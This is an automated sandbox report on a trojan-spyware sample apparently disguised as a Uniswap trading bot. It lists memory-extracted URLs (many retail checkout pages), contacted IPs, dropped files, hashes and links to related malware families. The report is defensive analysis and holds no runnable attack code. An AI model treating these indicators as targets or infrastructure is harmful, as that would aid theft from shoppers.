https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassControlLetter	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.kohls.com/checkout/shopping_cart.jsp$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.nordstrom.com/shopping-bag/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zennioptical.com/shoppingCart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/33661	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/mathiasbynens/punycode.js.git	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://narwhaljs.org)	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://github.com/WICG/scheduling-apis	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mths.be/utf8js	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ethereum/web3.js/tree/1.x/packages/web3-shh	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://code.google.com/p/chromium/issues/detail?id=25916	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/paulmillr/noble-hashes/issues/25#issuecomment-1750106284	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ethdocs.org/en/latest/ether.html	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.buybuybaby.com/store/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hottopic.com/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ChainSafe/web3.js	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/12607	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/#sec-line-terminators	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cs.ru.nl/~sjakie/	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bhphotovideo.com/(c/)?find/cart.jsp	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crbug.com/824647	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.lulus.com/checkout/bag/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.hsn.com/checkout/bag/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.unicode.org/copyright.html	my2gf4tNEk.exe, 00000000.00000003.2359537566.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://beacons.gcp.gvt2.com/domainreliability/upload	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/blueimp/JavaScript-MD5	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://opensource.org/licenses/MIT	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.rei.com/shoppingcart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/RyanZim/universalify.git	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedAtom	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#es-iterable-entries	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#es-interfaces	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crbug.com/275944	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/issues	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-HexDigits	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tc39.github.io/ecma262/#sec-object.prototype.tostring	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#urlsearchparams	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.academy.com/shop/cart/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://hyperelliptic.org/tanja	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pajhome.org.uk/crypt/md5	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ethereum/web3.js/tree/1.x/packages/web3-utils	my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#Replaceable	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/30380#issuecomment-552948364	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://secure.houseofbeautyworld.com/(	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://heycam.github.io/webidl/#dfn-class-string	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#dfn-iterator-prototype-object	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.qvc.com/checkout/cart.html/?$	my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cr.yp.to/djb.html	my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.com/pay	my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/38614)	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nodejs.org/static/images/favicons/favicon.icofaviconUrldevtoolsFrontendUrldevtoolsFrontendUr	my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
185.153.182.241	unknown	Russian Federation	35913	DEDIPATH-LLCUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568606
Start date and time:	2024-12-04 19:54:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	my2gf4tNEk.exe renamed because original name is a hash value
Original Sample Name:	f91bb20852c14222a0c193ce50c7042d.exe
Detection:	MAL
Classification:	mal52.troj.spyw.winEXE@32/1315@2/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
162.159.61.3	17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	sF5nNt8usL.bat	Get hash	malicious	Unknown	Browse
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse
	Readme.lnk.download.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	098aPtSbmd.bat	Get hash	malicious	RHADAMANTHYS	Browse
	loader.ps1.bat	Get hash	malicious	RHADAMANTHYS	Browse
	Documenti relativi alla violazione dei diritti di propriet#U00e0 intellettuale.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	https://ammyy.com/en/downloads.html	Get hash	malicious	Flawedammyy	Browse

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report my2gf4tNEk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\.pyp\DLLs\_asyncio.pyd

C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll

C:\Users\user\.pyp\DLLs\libffi-8.dll

C:\Users\user\.pyp\DLLs\libssl-1_1.dll

C:\Users\user\.pyp\DLLs\py.ico

C:\Users\user\.pyp\DLLs\pyc.ico

C:\Users\user\.pyp\DLLs\pyd.ico

C:\Users\user\.pyp\DLLs\pyexpat.pyd

C:\Users\user\.pyp\DLLs\python_lib.cat

C:\Users\user\.pyp\DLLs\python_tools.cat

C:\Users\user\.pyp\DLLs\select.pyd

C:\Users\user\.pyp\DLLs\sqlite3.dll

C:\Users\user\.pyp\DLLs\unicodedata.pyd

C:\Users\user\.pyp\DLLs\winsound.pyd

C:\Users\user\.pyp\Lib\distutils\__init__.py

C:\Users\user\.pyp\Lib\distutils\__pycache__\__init__.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\__pycache__\__init__.cpython-311.opt-2.pyc

Windows Analysis Report
my2gf4tNEk.exe

C:\Users\user\.pyp\Lib\distutils\init.py

C:\Users\user\.pyp\Lib\distutils\pycache\init.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\init.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\init.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\_msvccompiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\_msvccompiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\_msvccompiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\archive_util.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\archive_util.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\archive_util.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\bcppcompiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\bcppcompiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\bcppcompiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\ccompiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\ccompiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\ccompiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cmd.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cmd.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cmd.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\config.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\config.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\config.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\core.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\core.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\core.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cygwinccompiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cygwinccompiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\cygwinccompiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\debug.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\debug.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\debug.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dep_util.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dep_util.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dep_util.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dir_util.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dir_util.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dir_util.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dist.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dist.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\dist.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\errors.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\errors.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\errors.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\extension.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\extension.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\extension.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\fancy_getopt.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\fancy_getopt.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\fancy_getopt.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\file_util.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\file_util.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\file_util.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\filelist.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\filelist.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\filelist.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\log.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\log.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\log.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvc9compiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvc9compiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvc9compiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvccompiler.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvccompiler.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\msvccompiler.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\spawn.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\spawn.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\spawn.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\sysconfig.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\sysconfig.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\sysconfig.cpython-311.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\text_file.cpython-311.opt-1.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\text_file.cpython-311.opt-2.pyc

C:\Users\user\.pyp\Lib\distutils\pycache\text_file.cpython-311.pyc

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://shrihotels.com/wp-images/e3cb0.php	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSLMas8wKe7Ih4zqBiyHkarn0j5lOr9uX2Ipi5t6mu5SV-2B1JsyP5-2FhfNtTtQOlKj0flyS3vwLeKaJ6ckzVjuZims-3DLeyB_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aTBg62vcUAgkYbCAf46MpAyc7W7GFqvL6adNxNCTlmXTIiiRHR0fGeBxBsxNA5VbYoJQJb-2FJYi0QkLgjAoVYrRvTi1dn7pPo7PbeQWMcs70s7UFE7WeCgk9rDpKP4binyuu0CEbckceaS6ycGVUXPi2325g7v8hitus3ay9MICEoPWHxYePXARIxPiq-2FS9xmhqxVG-2BsRc9-2BU2VqX-2BZB9nYYuSKeNDIvkVaXKl7x-2FFSxF7xXa4BaT30eg9SUGZbRvZ8-3D#C	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	104.21.82.182
	Deborah-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse	172.67.137.138
	https://assets.website-files.com/65f01d0a723f74809a242153/66338b2a02c52612263308af_nuwezanusuxukejeselored.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://summerfieldfarms.com/	Get hash	malicious	Unknown	Browse	104.18.208.173
	Deborah-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse	104.21.62.166
	https://g9v.gngt.ru/d1MHvwa7NXCAlKk/	Get hash	malicious	Captcha Phish	Browse	172.67.191.170
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.130.133
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
CLOUDFLARENETUS	http://shrihotels.com/wp-images/e3cb0.php	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSLMas8wKe7Ih4zqBiyHkarn0j5lOr9uX2Ipi5t6mu5SV-2B1JsyP5-2FhfNtTtQOlKj0flyS3vwLeKaJ6ckzVjuZims-3DLeyB_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aTBg62vcUAgkYbCAf46MpAyc7W7GFqvL6adNxNCTlmXTIiiRHR0fGeBxBsxNA5VbYoJQJb-2FJYi0QkLgjAoVYrRvTi1dn7pPo7PbeQWMcs70s7UFE7WeCgk9rDpKP4binyuu0CEbckceaS6ycGVUXPi2325g7v8hitus3ay9MICEoPWHxYePXARIxPiq-2FS9xmhqxVG-2BsRc9-2BU2VqX-2BZB9nYYuSKeNDIvkVaXKl7x-2FFSxF7xXa4BaT30eg9SUGZbRvZ8-3D#C	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	104.21.82.182
	Deborah-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse	172.67.137.138
	https://assets.website-files.com/65f01d0a723f74809a242153/66338b2a02c52612263308af_nuwezanusuxukejeselored.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://summerfieldfarms.com/	Get hash	malicious	Unknown	Browse	104.18.208.173
	Deborah-Employee-Benefits.docx	Get hash	malicious	Unknown	Browse	104.21.62.166
	https://g9v.gngt.ru/d1MHvwa7NXCAlKk/	Get hash	malicious	Captcha Phish	Browse	172.67.191.170
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.130.133
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
DEDIPATH-LLCUS	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	66.150.136.66
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.143.195.104
	9jCa1zq5XE.exe	Get hash	malicious	AsyncRAT	Browse	2.56.179.212
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	45.12.130.27
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	45.12.130.27
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	45.12.130.27
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	45.12.130.27
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	45.12.130.27
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	45.12.130.27

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\.pyp\DLLs\_asyncio.pyd	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	J33WM5suMd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	SecuriteInfo.com.FileRepMalware.3650.10061.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.3650.10061.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe	Get hash	malicious	Python Stealer	Browse
	SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe	Get hash	malicious	Python Stealer	Browse
	SRT Toolkit (EU, Windows) v2023.10.24.exe	Get hash	malicious	Unknown	Browse
	patent.exe	Get hash	malicious	Unknown	Browse

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.127647865641386
Encrypted:	false
SSDEEP:	1536:n2eoB+WKE4+0Ib1Qxh4XNnEapxIg5ni87SyjPxt:n2eo4pg0IpQxh4XBEapxIg5ndJxt
MD5:	47DE17275C73CFCDCE18ACE16CD4F355
SHA1:	5D6B9B1D4534EEAE0A3B72BFA359BB4818E4C86E
SHA-256:	D667822030BA160CD8770569AFEC2C029B5247CEAA401D9268FE98BBEA9E4C11
SHA-512:	E11637808DDAF14D0ABDB88A389E6947B16F272D97642312C99EC38BBCAF43E3594D8F89BC8699D769368704A81BC1F01EDFFA69AB736665C1C192AEED780C8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, Detection: malicious, Browse Filename: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, Detection: malicious, Browse Filename: J33WM5suMd.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.3650.10061.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.3650.10061.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe, Detection: malicious, Browse Filename: SRT Toolkit (EU, Windows) v2023.10.24.exe, Detection: malicious, Browse Filename: patent.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./TF.A.F.A.F.A.O...D.A...@.D.A...D.J.A...E.N.A...B.E.A...@.E.A...@.D.A.F.@..A...L.G.A...A.G.A....G.A...C.G.A.RichF.A.................PE..d...Z..c.........." ...".R..........`................................................T....`.............................................P...`...d.......................x)..........`w..T........................... v..@............p...............................text....P.......R.................. ..`.rdata..~J...p...L...V..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe
File Type:	data
Category:	dropped
Size (bytes):	65552
Entropy (8bit):	0.01264908944072593
Encrypted:	false
SSDEEP:	3:pl9/lGlll/l/lXp9ZjrPBY0dllIl/Sdl/ZP:LF0dPBY0u0J
MD5:	066D7D3422C064267C56FFA55CBAD011
SHA1:	E54F2CF0C181907270FC24DC5795A5E68BD76984
SHA-256:	EE53979D76B723279C00DDC0891ECD0FDE0877C0EAE001D1C9C0B2130607812A
SHA-512:	BCD85A24C904E01EAA7E5576018CD81A872405FFAD3F7FFA8B668372731A115520163F79C186AFAD19A386A328AC7580B74A2770AE790086064DA15B451F8FCA
Malicious:	false
Preview:	..4q........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

